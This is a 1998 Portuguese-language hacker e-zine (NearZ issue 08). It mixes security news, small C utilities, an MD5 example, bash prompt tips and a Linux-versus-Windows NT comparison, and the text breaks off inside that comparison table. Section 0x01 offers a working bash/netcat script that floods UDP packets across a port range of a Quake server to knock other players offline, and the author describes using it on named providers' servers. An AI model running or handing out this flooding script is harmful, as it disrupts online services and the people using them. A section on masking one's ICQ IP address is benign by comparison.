
                                                                            
   KeyWorDZ: Hack, [ FiLE: nz08.txt     ]        OBtRuDeR              
     CrACk, Linux, [ SiZE: 60000 Bytes  ]          SoUL HuNTeR           
      ProGraMMing, [ DATE: 12 Agosto 98 ]       ReVeNGe               
    VirII, XpLoit, [ Format: ASCII-Text ]          im0rtal               
        ZiNe, asm, [ Lingua: Portugues  ]        bahamas                
  RuLez, c, NearZ. [ Price.: 100% FREE  ]   issue 08                         
                                                                            

                                                                             
                                                                             
     ͻ    ͻ                                ͻ     
      xxx Ȼ    xxx                                  xxxxxxxxxxxxx      
      xxxx Ȼ   xxx                                 ͻ  xxx ɼ     
      xxxxx Ȼ  xxx           f a c t o r y                ɼ xxx ɼ
      xxxxxx Ȼ xxx                                       ɼ xxx ɼ
      xxxxxxx ȼ xxx                                      ɼ xxx ɼ
      xxxxxxxxxxxxxx   xXXXXXXx   xXXXXXXXx    XXx xXXXx ɼ xxx ɼ
      xxx ɻ xxxxxxx  XXX     XX         XXx   XXXxXX'  ɼ xxx ɼ
      xxx Ȼ xxxxxx  XXXXXXXXX'  xXXXXXXXXX   XXX'    ɼ xxx ɼ
      xxx  Ȼ xxxxx  XXX        XXX     XXX   XXX    ɼ xxx ɼ
      xxx   Ȼ xxxx  XXX        XXX     XXX   XXX   ɼ xxxx ͻ
      xxx    Ȼ xxx  `XXXXXXXx  `XXXXXXXXXXX  XXX    xxxxxxxxxxxxx 
     ͼ    ͼ                                ͼ
                                                                            
                                                                            
              +-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+              
               Este documento pode conter informacoes ilegais                
               ou somente para fins *EDUCATIVOS*. Se  usa-las                 
	       para *OUTROS* fins a responsabilidade sera sua                 
              +-+-+-+-+-+-+-+-+-+-+----+-+-+-+-+-+-+-+-+-+-+-+             
                                                                             
                                                                             

                     T A B L E   O F   C O N T E N T Z                       

                                                                             
                                                                             
             ͻ               
              [0x00] <iNf> introducao/newz                                 
              [0x01] <DoS> Cuspindo Users do Quake                         
              [0x02] <iNf> Escondendo IP no ICQ                            
              [0x03] <pRg> CCount, for C Programmers                       
              [0x04] <pRg> Use MD5 em seus programas.c                     
              [0x05] <iNf> Prompts com ANSI                                
              [0x06] <iNf> Unix X SuxowsNT                                 
              [0x07] <pRg> Windows 98 Source Code                          
              [0x08] <DoS> inetd                                           
              [0x09] <DoS> Nuke Daemon .cgi                                
              [0x0A]                                                       
              [0x0B]                                                       
              [0x0C]                                                       
              [0x0D]                                                       
              [0x0E]                                                       
              [0x0Z] <ZZZ> E-MaiLZ/E0i                                     
             ͼ               
                                                                            
                                                                            
                                                                            
                                                                            
                                                                            

                                                                            
                                                                            
                                                                            
                                                   ͻ
   ɼ   ==   Ȼ  Ŀ
  [0x00]                      introducao/newz                      [0x00] 
   Ȼ   ==   ɼ  
                                                   ͼ
                                                                            
                                                                            
                internet/brasil, 10:45pm,  12 Agosto 1998
                                                                            
   <01/06> - Pesquisador  do  Bell  Labs  em  New Jersey descobriu seria
           - vulnerabilidade envolvendo o algoritmo de criptografia mais
           - usado  em  transacoes  online  por  servidores  Netscape. A
           - vulnerabilidade  eh  uma falha fatal do SSL (Secure Sockets
           - Layer) desenvolvido pela RSA Data Security Inc e a Netscape
           - Communications Corp. A falha  permite  que hackers capturem 
	   - informacoes sigilosas durante transmissao entre o browser e
	   - servidor.   O   bug  compromete   servicos   onde  trafegam
	   - numeros de cartao de credito.                   [ ZDNNews ]
           -
   <01/06> - De acordo  com  pesquisa  da organizacao KPMG, 43% das 1000
           - maiores empresas canadenses  utilizam a Internet para troca
           - de informacoes  estrategicas.  No entanto,  apenas  77% dos
           - pesquisados acreditam que a Internet eh uma forma segura de
           - enviar informacoes.  Um  total  de  82%  acredita  que seus 
	   - computadores estao vulneraveis  a fraudes  e  invasoes. 47% 
	   - tem  certeza  que  as  invasoes  tem  sido  cada  vez  mais
	   - frequentes  neste ano. Este  numero  sobe para 62% no setor 
	   - financeiro. Foi  detectado  tambem  que  77%  das  empresas 
	   - tiveram seus funcionarios como fraudador.       [ Reuters ] 
	   -
   <30/06> - Em Conferencia realizada no instituto norte-americano SANS,
           - empresas  como a Coca-Cola,  Banco de Boston e a Cisco, que 
	   - ja sofreram  invasoes,  decidiram criar uma equipe conjunta
	   - de atuacao  contra os  crimes cometidos pelos hackers. Cada
	   - organizacao que  participou do  encontro definiu que a nova
	   - equipe   deve  indicar quais  providencias  tomar  quando o
           - sistema  for  invadido  por  hackers,  espioes  ou   apenas
           - brincalhoes.                                    [ ZDNNews ]
           -
   <25/06> - Em um mundo com mais de 3.000 virus de macro, o que pode um
           - novo  virus  trazer  de  diferente? Bem, o recem descoberto 
	   - WM/Polyposter eh  especialmente  perigoso  para usuarios de
	   - newsgroups. O  virus  espalha  de 23  em  23  mensagens com
	   - attachments mortais e se disfarca como membro do grupo  - o
	   - que derruba a recomendacao de nao abrir arquivos de  fontes
	   - nao-confiaveis. O  subject  traz  frases  como  "News Virus 
	   - Alert" ou "How to find child pornography".      [ Reuters ]
	   -
   <29/06> - Mais de 500 senhas do provedor AmericaOnline foram roubadas
           - por um adolescente, conhecido  como John  Doe, condenado na
           - ultima semana  nos  EUA.  Promotores  afirmam  que  o jovem 
	   - invadiu os computadores dos usuarios, enviando programas de
	   - cavalos de troia atraves de emails.           [ CNet News ]
	   -
   <17/07> - A ONG norte-americana Eletronic  Frontier  Foundation (EEF) 
           - resolveu  provar  que  o governo  dos  Estados  Unidos esta 
	   - colocando em risco infra-estruturas criticas ao  pressionar
	   - a industria a  adotar o padrao de  criptografia DES.  A EEF 
	   - construiu um hardware com menos de US$ 250 mil para quebrar
	   - a seguranca de mensagens criptografadas com DES. "O DES  eh
	   - inseguro. O cracker da EFF venceu a RSA", declararam no seu
           - web site. O  processo  foi  documentado  e  publicado em um 
           - livro chamado "Cracking DES: Secrets of Encryption Research
	   - Wiretap Politics, and Chip Design". O DES, que  foi  criado
	   - para proteger informacoes digitais e a comunicacao de dados
	   - durante a Guerra Fria eh  o  sistema  de  criptografia mais
	   - utilizado  em  todo o mundo,  apesar de ser exportado sem a
	   - chave  de recuperacao de dados e com uma protecao de apenas 
	   - 40-bit.                   [ Eletronic Frontier Foundation ]
	   -
   <16/07> - A CBF  teve  seu  site  invadido  por hackers. A pagina foi 
           - invadida  em  torno   das  3h  de  quinta-feira  passada  e 
	   - permaneceu online ate as 13h25,  quando  foi  retirado pela
	   - administracao do site da CBF. O  grupo substituiu a  pagina
	   - de  abertura  por  um  texto  no  melhor  estilo "teoria da 
	   - conspiracao", afirmando que o Brasil teria "vendido" a Copa
           - do Mundo, em troca de sediar a Copa de 2002. A CBF  admitiu
	   - falhas  no  sistema,  que  permitiram  o  roubo da senha de 
	   - entrada na home page da Confederacao.     [ Brasil Online ]
	   -
   <56/07> - A organizacao Center for Democracy and Technology (CDT) dos
           - EUA finalizou uma pesquisa mostrando que metade dos e-mails
	   - publicitarios recebidos  pelos usuarios da Internet sem que 
	   - tenham sido solicitados (Spam) sao propostas fraudulentas e
	   - tem  como  objetivo  ludibriar o  consumidor. O  estudo foi
	   - entregue  a  Comissao  Federal  de  Negocios  (FTC),  orgao 
	   - encarregado de  fiscalizar  praticas desonestas no comercio
           - norte-americano. No  mesmo caminho, a propria FTC divulgara
	   - tambem sua  pesquisa sobre  fraudes por e-mail, cujo titulo 
	   - eh "The Dirty Dozen Spam Scams". Os dois trabalhos analisam
	   - o impacto negativo  do  spam  na Internet e nos direitos do 
	   - consumidor. O estudo do CDT enfoca  os problemas que o spam
	   - causa para a infra-estrutura da Internet, sobrecarregando a
	   - rede; enquanto o da FTC trata dos danos pessoais que o spam
	   - pode  causar  ao  consumidor  se  ele  se  submeter as tais 
	   - promocoes fraudulentas[Center for Democracy and Technology]
	   -
   <20/07> - O grupo  conhecido  como X-Ploit assumiu a invasao em massa 
           - dos web sites de  orgaos  publicos  mexicanos  realizada no 
	   - primeiro  semestre  do  ano. No  ataque  foram  atingidos o 
	   - Ministerio  de   Fazenda  e  Credito  Publico,  a  Comissao 
	   - Nacional  de  Agua,  o  Instituto  Nacional de Estatistica, 
	   - Geografia e Informatica, o  Ministerio  da Saude e o Senado 
	   - da Republica. Segundo  os invasores,  eles  pretendem estar 
	   - "em   cada   ministerio,   cada pager,   cada   celular  de
	   - funcionario,  cada  conta bancaria, transacao eletronica ou
	   - e-mail  do  governo  para publicar o que realmente acontece
           - no pais". Os hackers reivindicam ainda o titulo de primeiro
	   - grupo a  conseguir  tal empreitada e afirmam que tomaram de 
	   - assalto os web sites para demonstrar que possuem tecnologia
	   - e conhecimento e, portanto, possuem o poder. "O Mexico para
	   - os mexicanos  e  a Internet  para o X-Ploit", assinam eles.
           -                                    [ Security e-mail list ]
	   -
   <17/07> - Pela  primeira  vez desde  que  iniciou  suas atividades na
           - Internet,  a  Microsoft Corp.  apresenta  publicamente  uma 
	   - empresa  brasileira  como  parceira  no seu web site  norte
	   - americano.  A  Modulo  foi  citada  na  area  destinada  ao 
	   - "Programa de Parcerias de Seguranca Microsoft" como exemplo
	   - de  fornecedora  internacional de ferramentas de deteccao e
	   - monitoramento  de  invasoes,  ferramentas  de  seguranca de 
	   - sistemas  desktop  e  servicos  de  consultoria, junto  com
           - empresas como a Axent, Price Waterhouse, Network Associates
	   - e a ISS.                                      [ Microsoft ]
	   -
   <20/07> - Um homem que  usou  sem  permissao  a senha de outra pessoa
           - para fazer download de material  obsceno foi multado em US$
	   - 1.530, em Cingapura. Trata-se  do primeiro caso de violacao
	   - as leis relacionadas ao uso da Internet registrado no pais.
	   - Colin Phan Siang Loong, de  21 anos, foi  acusado de usar a
	   - rede sem autorizacao, possuir  filmes obscenos e de possuir
	   - uma  pelicula   nao   aprovada  pela  censura  do  Governo.
	   - Promotores   do   caso   afirmaram   que  Phan  dava  aulas 
	   - particulares  a  um  estudante  entre marco e maio de 1997,
	   - quando  descobriu  o  ID e  a senha da sua irma mais velha. 
	   - Ele  gastou  US$ 244  fazendo  chats  com  sua n amorada  e
	   - capturando  material.   Alem   da  multa,   Phan   perdeu a 
	   - oportunidade de cursar Direito na  Universidade Nacional de
	   - Cingapura em funcao do caso.                 [ Nandotimes ]
	   -
   <15/07> - A  maioria  das   pessoas   nao  imagina  que  as  empresas
           - fornecedoras de gas possam ser alvo de ataque dos hackers -
	   - geralmente  os  escritorios  de  advocacia e as empresas de 
	   - software  estao  no  topo  da  lista. Mas os distribuidores 
	   - comecam a  se  considerar  vulneraveis  ja que controlam um
           - poderoso  potencial  de  destruicao  em massa. Em 1995, por 
	   - exemplo,  quando  uma rotina  na construcao de um buraco do 
	   - metro na Coreia atingiu uma tubulacao, cerca de 100 pessoas
	   - morreram.  Para   trocar  experiencias  e  informacoes,  60 
	   - empresas se reuniram em Washington para uma "semana-cyber",
	   - patrocinada   pelo   Institute  of  Gas  Technology.  Foram 
	   - analisados os  riscos  de hackers, terroristas e empregados
	   - vingativos entrarem nos  sistemas eletronicos que controlam
           - tudo diretamente, da regulagem dos oleodutos as estacoes de
	   - compressao.                              [ The Netly News ]
	   -
   <23/07> - Pesquisadores  da  Universidade  de  Michigan realizaram um 
           - novo  estudo  sobre  o  custo  dos  ataques  de hackers aos 
	   - computadores  universitarios.  Segundo  eles,  o  custo  do
	   - incidente  pode  variar  significativamente. Dos 30 ataques
	   - estudados,  a  maioria afetou poucas pessoas e custou menos
	   - de US$ 15  mil,  mas  em  alguns  casos os custos de reparo
	   - chegaram a US$ 100 mil, e  mais  de  mil  usuarios  ficaram 
	   - impossibilitados  de  utilizar  o  servico. O  estudo foi o 
	   - primeiro em que se tentou estabelecer  um  preco  para esse
	   - tipo de problema  e  envolveu  ataques  de  hackers, perdas 
	   - acidentais  de   dados,  queda  de  energia  e   roubos  de
	   - equipamentos.  Os   pesquisadores   descobriram  ainda  que
	   - quanto  mais  pessoas  estiveram  envolvidas  na solucao do
	   - problema  ou  quanto  mais tempo  se  leva  para capturar o
           - invasor, mais caro fica o  custo de reparacao dos estragos.
           -                           [ Chronicle of Higher Education ]
	   -
   <24/07> - Um  grupo  nao  identificado  explorou a vulnerabilidade da 
           - rede de pagers PageMart,  no  Texas,  e enviou uma serie de 
	   - misteriosas paginas atraves das minusculas  telas em todo o
	   - territorio   norte-americano,   confundindo   assinantes  e
	   - congestionando os sistema telefonico da central de servicos
	   - A empresa informou que o autor descobriu os tres numeros de
	   - identificacao  pessoal  do  terminal  em  Dallas,  onde sao 
	   - distribuidas  as  mensagens.  Especialistas  afirmam  que o 
	   - sistema foi realmente invadido por hackers.     [ Reuters ]
	   -
   <20/07> - Os grupos "Legiao do underground" e "Mestres do downloading
           - reivindicaram a invasao aos sistemas da Time Warner, em Los
	   - Angeles. Segundo  os grupos, eles podem mover os satelites,
	   - mexer nos links e  enviar mensagens para as telas de TV dos
	   - assinantes                                   [ Wired News ]
	   -
                                                                            	   
   Todas as noticias from Comunidade Modulo para Seguranca da Informacao
   Ye, Concluido a versao publica do h0ax, um script pra BitchX, que vai
   em anexo ao nearz08.{tgz,zip} em misc/hoax.tgz. Com suporte  a alguns
   sons, (Ex: /ow #nearz) hehe,  de uma  olhada no README huh! pra saber
   dos outros. Foi privatizada no dia 29 de Julho  a  telebras em leilao
   realizado no Rio de Janeiro. Com  a  venda, os  precos  das  chamadas
   interubanas e internacionais deverao abaixar. E  ateh o final  do ano
   que vem toda  galera  que  espera  telefone  dos  planos de expansoes
   deverao receber suas linhas. No total foram vendidos 12 "subdivisoes"
   da telebras  incluindo  sistema  movel, telesp, telerj, etc. Queremos
   ISDN nos orelhoes. Queremos T3 em nossos lares >=)  hehe Brincadeira!
   T1 pra comecar ja esta otimo.
                                                                            
                                                                            

                                                                            
                                                                            
                                     *
                                                                            
                                                                            
                                                                                ͻ
 Ĵ [0x01] <DoS> Cuspindo Users do Quake           SouL Hunter 
    ͼ
                                                                            
 Nao eh bem um nuke.. eh mais um cospidor de clientes.
 Nao me perguntem o porque isso ocorre.. descobri na cagad..
 Tipo, eu tava sniffando os pacotes UDP no meio do jogo e resolvi mandar
 de volta usando o nc (netcat) pra ver o que dava...
 E cabum.. Coneccao cortada.
 fiquei curioso e comecei a zuar. e mandei o pacote pra porta seguinte a
 que eu estava usando.. e crackckck um user foi cuspido.. 0 frags tsk tsk. :)
 Ai vi. que se mandar cerca de 2 kb UDP pro servidor quake e pra porta que o
 cara estiver usando, ele eh cuspido.
 entao aqui vai um scriptzinho pra mandar os pacotes entre as portas tais e
 tais.
                                                                            
 Parece que os server novos isto nao funcionava... masss funcionava beleza na
 uol/unisys/trip/zaz... na mandioca/douranet/prover nao :(
                                                                            
-----------------------------------------------------------( quake-cusper.c )-
#!/bin/bash
# NearZ factory - 1998 - nearz@cyberspace.org
# Authors:
#   SoUL HuNTeR
#    \_ OBtRuDeR
#
if [ $# = 3 ]
    then
    HOST=$1
    IP1=$2
    IP2=$3
    echo `perl -e "print 'X' x 2048"` >dummy
    while [ 1 ]
        do
    	    nc -u $HOST $IP1 -w 1 <dummy &
	    if [ $IP1 -ge $IP2 ]
	    then
                rm -f dummy
		exit
	    fi	
	    IP1="`expr $IP1 + 1`"
    done
else
    echo Uso: QuakeNuke host startport stopport
fi
------------------------------------------------------------------------------





    ͻ
 Ĵ [0x02] <iNf> Escondendo IP no ICQ              SouL Hunter 
    ͼ
                                                                             
 Tipo. aquelas bagacas do ipmask e do iphost para mudar o ip no icq que 
 funcionavam no icq java, agora nao funcionam mais...
 Mas tem uma manha, que o Graffiti me falou.
 Aparentemente funciona em todas as versoes. (inclusive Ruindows e tal).
 Clique no botao ICQ, propriedades, ligue o botao do proxy e clique em
 firewall. Agora selecione SOCKS4, e no hosts coloque tipo 127.0.0.1, o resto
 deixe como esta.                                                           
 Pronto. agora no info do icq seu ip sera 127.0.0.1






    ͻ
 Ĵ [0x03] <pRg> CCount, for C Programmers         GhostOBtRuDeR 
    ͼ
                                                                           
 ccount, esse eh pra quem tem raiva de quando acrescenta uma ou duas
 funcoes no seu programa e vai compila e recebe akelas lindas mensagens
 de erro sem saber de onde vem... Foi numa dessas horas que eu fiz o ccount
 Ele pega um arquivo .c/.h e conta quantos { , } , ( e ) tem nele
 Tipo, o unico problema eh que o ccount conta T0D0S os {}() do arquivo
 incluindo os de comentarios e de strings
 Ex: se tiver isso /* isto eh um parenteses ( */ ele conta. Ex: se tiver
 "Isto eh uma string, e isto eh uma chave {" ele conta :/
 Ele aceita como parametros multiplos arquivos. Ex:
   ccount *.c
   ccount head.h header2.h main.c
 Se voce precisar, com simples alteracoes da pra colocar ele pra contar
 ] e [ tambem.
                                                                            
-----------------------------------------------------------------------------
/*
 * NearZ factory - 1998 - nearz@cyberspace.org
 * Authors:
 *   OBtRuDeR
 *
 */

#include <stdio.h>

void main ( int argc, char * argv[] ) {
     FILE *fp;
     int i=1;
     int ch;
     unsigned long Pl = 0;
     unsigned long Pr = 0;
     unsigned long Bl = 0;
     unsigned long Br = 0;
     
     if( argc <= 1 ) {
         printf("NearZ - ccount - Check {, }, ) and ( in .c file\n");
         printf("\nusage: %s <file> ...\n", argv[0]);
         exit(1);
     }
     while( (--argc) != 0 ) {
        if( (fp = fopen(argv[argc], "r")) == NULL) {
             printf("Can't open %s\n", argv[argc]);
        }
        while( (ch=fgetc(fp)) != EOF) {
                if( ch == '(' ) Pl++;
                if( ch == ')' ) Pr++;
                if( ch == '{' ) Bl++;
                if( ch == '}' ) Br++;
        }
        if( (Pl == Pr) && (Bl == Br) ) {
             printf("%s: okay\n", argv[argc]);
             continue;
        } 
        printf("%s: {=%d, }=%d, (=%d, )=%d\n", argv[argc], Bl, Br, Pl, Pr);
      fclose(fp);
      Pl = Pr = Bl = Br = 0;
     }
}
-----------------------------------------------------------------------------





    ͻ
 Ĵ [0x04] <pRg> Use MD5 em seus programas.c       GhostOBtRuDeR 
    ͼ
                                                                            
 Como muita gente ja ta acostumado a usar e sabe que o algoritmo MD5
 usa uma  mensagem  como  entrada  e  faz umas loucuras e produz uma
 "chave" de 128 bits, (16 bytes) usada pra autenticacoes de arquivos
 strings, etc... Esta  chave  tambem eh  chamada  de  "fingerprint", 
 "digest", "MD5 checksum", ou soh "MD5" e eh algo desse tipo:
                                                                       
 6eb1a4cd0fa296f73af7f74a536686a4
                                                                    
 Esse  digest  eh usado  pra  autenticacoes de arquivos,  senhas. Se
 voce  fizer  o  md5  do  seu  /etc/passwd  e fizer denovo e ele for
 diferente eh porque o arquivo nao eh mais igual ao anterior, sofreu
 alteracoes.  Pra  isso  as  empresas  de  softs  quando precisam de
 publicar  a  existencia de  um patch,  publicam  junto  o digest do
 arquivo, pros  usuarios  terem  certeza de que o arquivo eh o mesmo
 nao sofreu alteracoes, nao foi colocado backdoor, trojan...
 As chances de uma mensagem ter o mesmo "md5" de outra sao  minimas,
 se me lembro bem, acho que eh 1 a cada (2 elevado a 128).
 MD5 ja existem a um tempinho... mas eh muito usado. Fiz  um  header
 tipo  um  alias  pra  usar algoritmo  em meus programas e agora vou 
 coloca-lo a disposicao de quem eh paranoico por seguranca :) e tal.
 O arquivo ("MD5.h") vem junto com o nearz08.{tgz,zip}  no diretorio
 misc/ e  pra usa-lo em seus  programas basta um  #include "MD5.h" e
 depois chamar a funcao MDString() pra gerar  o digest de strings, e
 MDFile() pra gerar o digest de um arquivo  (abaixo tem um exemplo).
 O digest  que  essas  funcoes  retornam  sao binarios, logo se voce
 imprimi-la nao sera igual `a akelas que voce ve por ae em hexa. Pra
 imprir os digest em hexa use a funcao MDPrint() e MDHexString(). Um
 bom uso de MDHexString() seria MDHexString( MDString(buffer) );
 [Dica: Voce nunca consiguira colocar o digest de um  arquivo dentro
        desse proprio arquivo! Por que? tente e verah >;) ]
 Prototipos das funcoes:
                                                                            
   char * MDString    ( char * string )
   char * MDHexString ( unsigned char digest[16] )
   char * MDFile      ( char * file   )
   void   MDPrint     ( FILE * fd, unsigned char digest[16] )
                                                                           
 Um exemplo pratico: 
 Pra compilar: gcc -o test_md5 test_md5.c
                                                                            
----------------------------------------------------------------( test_md5.c )-
#include "MD5.h"

void main ( void ) {
     char buf [512];
     char * md5 = malloc(16);
  /* ^^^^^^ Lembre-se de declarar como ponteiro a variavel
     que armazenara o digest */
     
     strncpy(buf, "hehe, qual sera o md5 desta string??", (512-1) );
                      /* voce acha que eu sou paranoico ? ^^^^^^^ hehe */

     if( (md5 = MDString(buf)) != NULL ) /* Retorna NULL se deu algo errado */
     {
       printf("MD5 digest de \"%s\"\n", buf);
       MDPrint(stdout, md5);
            /* ^^^^^^ arquivo pra onde vai o digest ja em hexa
               stdout == voce ja programou em C ? */

       printf("\n\n"); /* MDPrint nao imprimi \n */
     }

     /* Como usar com arquivos? */

     memset(md5, 0x00, 16); /* Limpamos o digest antigo, pura paranoia */
     if( (md5 = MDFile("/etc/passwd")) != NULL ) 
          /* Retorna NULL se deu algo errado */
     {
       printf("MD5 digest do arquivo /etc/passwd\n", buf);
       MDPrint(stdout, md5);
       printf("\n\n");
     }
}
------------------------------------------------------------------------------





    ͻ
 Ĵ [0x05] <iNf> Prompts com ANSI                  GhostOBtRuDeR 
    ͼ
                                                                            
 Aquela string que voce mais ve todo dia ja tah enjoando?
 [root@nzorg ~]#                                                             
 nzorg:~#                                                                    
 Faca seus proprios, personalizados, coloridos :]                          
 Esse prompt eh uma variavel de ambiente "PS1" com algumas "tags" especiais
                                                                          
      \d  A data no formato "Dia-da-Semana Mes Dia-do-Mes"
      \n  Nova linha
      \W  Ultima parte do diretorio atual (Ex: /usr/bin == bin)
      \w  Diretorio atual
      \#  Numero do comando, contador de comandos
      \t  A hora no formato HH:MM:SS
      \s  Nome do shell (bash)
      \$  Se for root # e se nao for $
      \u  User que voce tah agora
      \h  Nome do host
      \!  Numero do comando no history, incluindo os do ~/.bash_history
      \\  Uma barra '\'
      \[  Comeca uma string de controle, ANSI, e caracters nao imprimiveis
      \]  Termina a string comecada com \[
                                                                          
 O prompt default do redhat eh: [\u@\h \W]\$ o do slackware \h:\w\$
 Hmmm, pra altera-los edite o arquivo /etc/profile e/ou o do usuario
 ~/.profile ou ~/.bash_profile. As alteracoes feitas no /etc/profile valem
 pra todos os usuarios enquanto dos outros sao pra usuarios individuais
 Exemplo 1:
                                                                         
     root(tty3/1)[~]#
                > Adivinha?
               > Diretorio atual
             > Numero do comando
          > terminal
      > usuario
                                                                          
 Pra usar esse exemplo soh procure pela linha PS1='...' no seu profile e
 troque por: PS1='\u(tty`tty |cut -b9-`/\#)[\w]\$'
 Observe que foi usado command-substitution `tty |cut -b9-` que retorna
 a parte do terminal, tipo 1, p0, 2, p4, etc...
 Mas dah pra personalizar mais, com cores (ANSI->(Leia nz06.txt))
 Eu uso o seguinte:
                                                                         
         > Cinza
     root(tty3/1)[~]#
                > Branco Negrito (0;1;37m)
               > Verde [0;32m]
             > Normal [0m]
          > Normal [0m]
      > Cyano [0;36m]
                                                                           
 Pra usar este, procure PS1 no seu profile e coloque o seguinte:
                                                                            
PS1=\
'\[[36m\]\u\[[0m[1m[30m\](\[[0m\]tty`tty |cut -b9-`\
\[[0m[1m[30m\]/\[[0m\]\#\
\[[0m[1m[30m\])[\[[0m[32m\]\w\[[0m[1m[30m\]]\[[0m[1m\]\$ \[[0m\]'
                                                                           
 Use um editor pra copiar e colar isso, se voce usar o mouse NAO funcionarah
 Se voce percebeu as linhas estao divididas?!? Quando uma linha for muito
 grande voce pode usar \
 pra indicar que ela continua na outra linha ;) [isso vale pra qualquer
 script em bash/sh, que segue uma linguagem parecida com C] Nesse exemplo
 tambem foi usado \[ e \] sempre use isso quando o caracter for sequencia
 ANSI ou nao for imprimivel.





    ͻ
 Ĵ [0x06] <iNf> Unix X SuxowsNT                   GhostOBtRuDeR 
    ͼ
                                                                            
 As informacoes sao baseados e/ou retiradas em um texto: "unix-nt.txt" que 
 estah circulando por ae. 
                                                                          
 Preco
                                                                          
   Windows NT 4.0 com  5 usuarios - $ 809
   Windows NT 4.0 com 10 usuarios - $ 1129
   Windows NT 4.0 com 25 usuarios - $ 4000
   Windows NT 4.0 com 50 usuarios - $ 4800
   Documentacao do Windows NT 4.0 - $ 70
   Nenhum Linux sem limite de usuarios sai por mais de $50
                                                                           
 Servidores de E-Mail
     [nt] Microsoft Exchange  25 usuarios                - $ 3549
     [nt] Microsoft Exchange  50 usuarios                - $ 4859
  [linux] SendMail, qpop, exim, sem limite de usuarios   - $ 0
                                                                           
 Desempenho
   Linux em um Pentium 133MHz                     - 12.2
   BSD em um Pentium 133MHz                       - 9.8
   Solaris 2.5 em um Pentium 133MHz               - 6.2
   Solaris em um Sun Sparc-II Ultra 167MHz System - 13.7
   Solaris 2.5 em um Orion Pentium Pro 200MHz     - 13.5
   Windows NT 4.0 em um Pentium 133MHz            - bah, sem comparacao
                                                                           
 Alguns lugares importantes que rodam UNiX*
   Hotmail
   Sistema de Correios dos Estados Unidos
   Yahoo
   Sony
   Mercedes-Benz
   Servico de Taxi (EUA)
   Cisco
                                                                           
     "Qualquer UNIX com suporte a  carregamento  de modulo eh tao
      naturalmente mais  apropriado para um ambiente  de servidor
      porque quase todas as mudancas de configuracao nao requerem
      reiniciar o sistema."
                                                                     
     "O  Windows  NT consegue  nem menos  descarregar. Ateh mesmo 
      mudancas insignificantes para  uma  configuracao do Windows
      NT requer ou pede uma  paralisacao  da empresa  e reiniciar 
      para fazer as mudancas entre em vigor. Para mudar  o driver
      de IP de uma porta default voce precisa reiniciar. Voc nem
      pode ao menos mudar o tipo de modem  que  voce estah usando
      para um PPP dial-up sem uma  reinicializacao para atualizar
      o sistema. Nenhum destas limitaes existem no UNIX."
                                                                     
     "Eu tive Noticias de um  leitor  que disse que na Site dele,
      um Linux em um 486  esta com uma autoperformace  em relacao
      ao Windows NT em  um  Pentium 200MHz, e ele tem maquinas de
      Linux  que  tem  rodado  sem  interrupcao  desde  antes  do
      lancamento do Windows NT 4.0."
                                                                         
    "Realmente, o  Windows  NT  eh uma grande melhoria em cima do
     Windows 3.1 ou Windows 95,  mas  ainda  tem um caminho muito
     longo a seguir  antes de  alcancar  o nivel  de estabilidade
     oferecido por  ateh mesmo um sistema operacional freeware do
     UNIX."
                                                             
    "Depois de tantas tentativas com o Cats(programa de ordenacao
     e  inventario)  o  NT  era  um  pesadelo.  O  sistema estava 
     chocando  duas a tres vezes por dia sem razao que eu poderia
     achar. Eu constantemente estava nao telefone com a Microsoft
     e com o Cats, mas ninguem poderia entender isto. a Microsoft
     teve   que  aplicar  o  Servico  de  Pacotes  para conseguir 
     resolver  alguns  problemas  que  ajudou  mas  ainda  estava
     chocando pelo  menos duas vezes na semana com a infame "Tela
     Azul da  Morte". Depois  de muitas semanas e aproximadamente
     $1500.00 em  suporte  da  Microsoft pelo telefone, o suporte 
     tecnico me  disse que eu deveria achar um pacote de software
     melhor  que  os Cat's Pajamas. Isto nao era a solucao para a
     que  eu  estava  buscando, desde que este eh o pacote de uma
     porcentagem   consideravel  de  imprensas  do  Nosso  ambito
     nacional que estava rodando, assim eu fui forcado a devolver
     para  o  velho  servidor  Novell para a producao ateh que eu
     poderia entender algo... Quatorze meses  depois, nos estamos
     rodando o Linux como o Nosso servidor."
                                                                  
    "O  NT  eh  um  sistema  operacional de brinquedo, com alguma
     funcionabilidade profissional."
                                                                
    "UNIX esta antiquado, dificil,baseado num sistema operacional
     de   linha  de  comando.  Errado!  O  CDE  ( Common  Desktop
     Environment)  eh  um  desktop GUI (Graphical USer Interface:
     voce  usa  o  mouse  para posicionar e clicar, ou arrastar e 
     mover  em  um  "desktop"  colorido;  esta  eh  a base para o
     sucesso da Microsoft). O CDE foi trasnportado para a maioria
     dos sistemas operacionais UNIX comerciais: O Solaris da Sun,
     o AIX da IBM, Hewlett Packard com o HP-UX, o Digital UNIX da
     Dec, sao alguns. Por apenas $90  voce  pode  adquirir  o CDE
     para  o  Linux  se  voce  quiser  pode escolher entre quatro
     sistemas  de  GUI  que  foram  transportados  para  o Linux.
     OpenLook, o GUI que o Solaris  usava; FVWM, um  freeware GUI
     que tem muitas semelhancas com o GUI Windows 3.1; ou FVWM-95
     outro freeware GUI que imita o GUI Windows 95(quando olhando
     em  uma  unica  janela,  a  pessoa nao pode distinguir entre
     FVWM-95 e Windows 95)."
                                                                     
    "Que  hardware  e  software  Windows95.com  usa?  Nos  usamos
     computadores Pentium Pro rodando o sistema operacional  UNIX
     BSDI como software do servidor Web apache. Nossos servidores
     sao conectados aa Internet por T3."
                                                                      
    "Em  dezembro  de 1997 a hotmail foi comprada  pela Microsoft
     Antes  da  compra  a hotmail rodava FreeBSD e Sun, depois da
     venda a Microsoft  trocou o sistema pra Windows NT, mas logo
     percebeu que o seu sistema de brinquedo fracassava, e voltou
     a usar Solaris."
                                                                    
 ͻ
  Componente         Linux               NT 4.0                        
 ͹
  Preco              Livre               de $809 a $4000               
 Ĵ
  Suporte tecnico    Sim                 Nao                           
  gratis on Line                                                       
 Ĵ
  Codigo fonte do    Sim                 Nao                           
  Kernel                                                               
 Ĵ
  Servidor de Web    Sim                 Sim                           
 Ĵ
  Servidor de FTP    Sim                 Sim                           
 Ĵ
  Servidor de Telnet Sim                 Nao                           
 Ĵ
  Servidor SMTP/POP3 Sim                 Nao                           
 Ĵ
  DNS                Sim                 Sim(qualidade muito inferior) 
 Ĵ
  Servidor X Windows Sim                 Nao                           
  Para rodar GUIs                                                      
  remotamente                                                          
 Ĵ
  Ferramentas de     Sim                 Nao                           
  Administracao                                                        
  remota                                                               
 Ĵ
  Servidor de News   Sim                 Nao                           
 Ĵ
  C e C++            Sim                 Nao                           
 Ĵ
  Perl 5.0           Sim                 Nao                           
 Ĵ
  Numero de sistemas 32                  3                             
  de arquivo                                                           
  suportados                                                            
 Ĵ
